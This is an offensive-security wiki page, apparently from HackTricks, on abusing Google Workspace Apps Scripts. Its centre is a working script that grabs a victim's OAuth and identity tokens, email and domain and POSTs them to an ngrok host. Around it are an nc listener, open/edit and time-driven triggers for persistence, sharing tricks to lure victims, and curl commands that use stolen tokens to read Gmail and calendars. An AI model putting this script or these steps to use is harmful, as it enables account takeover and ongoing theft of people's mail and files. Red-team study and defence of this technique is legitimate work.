GWS - App Scripts
{{#include ../../../banners/hacktricks-training.md}}
App Scripts
App Scripts is code that will be triggered when a user with editor permission access the doc the App Script is linked with and after accepting the OAuth prompt.\
They can also be set to be executed every certain time by the owner of the App Script (Persistence).
Create App Script
There are several ways to create an App Script, although the most common ones are from a Google Document (of any type) and as a standalone project:
Create a container-bound project from Google Docs, Sheets, or Slides
1. Open a Docs document, a Sheets spreadsheet, or Slides presentation. 2. Click **Extensions** > **Google Apps Script**. 3. In the script editor, click **Untitled project**. 4. Give your project a name and click **Rename**.Create a standalone project
To create a standalone project from Apps Script: 1. Go to [`script.google.com`](https://script.google.com/). 2. Click add **New Project**. 3. In the script editor, click **Untitled project**. 4. Give your project a name and click **Rename**.Create a standalone project from Google Drive
1. Open [Google Drive](https://drive.google.com/). 2. Click **New** > **More** > **Google Apps Script**.Create a container-bound project from Google Forms
1. Open a form in Google Forms. 2. Click More more_vert > **Script editor**. 3. In the script editor, click **Untitled project**. 4. Give your project a name and click **Rename**.Create a standalone project using the clasp command line tool
`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal. See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.App Script Scenario
Create Google Sheet with App Script
Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to Extensions > App Scripts, this will open a new App Script for you linked to the sheet.
Leak token
In order to give access to the OAuth token you need to click on Services + and add scopes like:
- AdminDirectory: Access users and groups of the directory (if the user has enough permissions)
- Gmail: To access gmail data
- Drive: To access drive data
- Google Sheets API: So it works with the trigger
To change yourself the needed scopes you can go to project settings and enable: Show "appsscript.json" manifest file in editor.
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Send data
makePostRequest(data)
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for drive permissions
var files = DriveApp.getFiles()
}
function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
To capture the request you can just run:
ngrok tcp 4444
nc -lv 4444 #macOS
Permissions requested to execute the App Script:
Create Trigger
Once the App is read, click on β° Triggers to create a trigger. As function ro tun choose getToken, runs at deployment Head, in event source select From spreadsheet and event type select On open or On edit (according to your needs) and save.
Note that you can check the runs of the App Scripts in the Executions tab if you want to debug something.
Sharing
In order to trigger the App Script the victim needs to connect with Editor Access.
Abusing Shared With Me documents
Copying instead of sharing
When you create a link to share a document a link similar to this one is created: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit\
If you change the ending "/edit" for "/copy", instead of accessing it google will ask you if you want to generate a copy of the document:
If the user copies it an access it both the contents of the document and the App Scripts will be copied, however the triggers are not, therefore nothing will be executed.
Sharing as Web Application
Note that it's also possible to share an App Script as a Web application (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
Followed by the typical OAuth prompt asking for the needed permissions.
Testing
You can test a gathered token to list emails with:
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
List calendar of the user:
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
App Script as Persistence
One option for persistence would be to create a document and add a trigger for the the getToken function and share the document with the attacker so every-time the attacker opens the file he exfiltrates the token of the victim.
It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day:
Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
Shared Document Unverified Prompt Bypass
Moreover, if someone shared with you a document with editor access, you can generate App Scripts inside the document and the OWNER (creator) of the document will be the owner of the App Script.
{{#include ../../../banners/hacktricks-training.md}}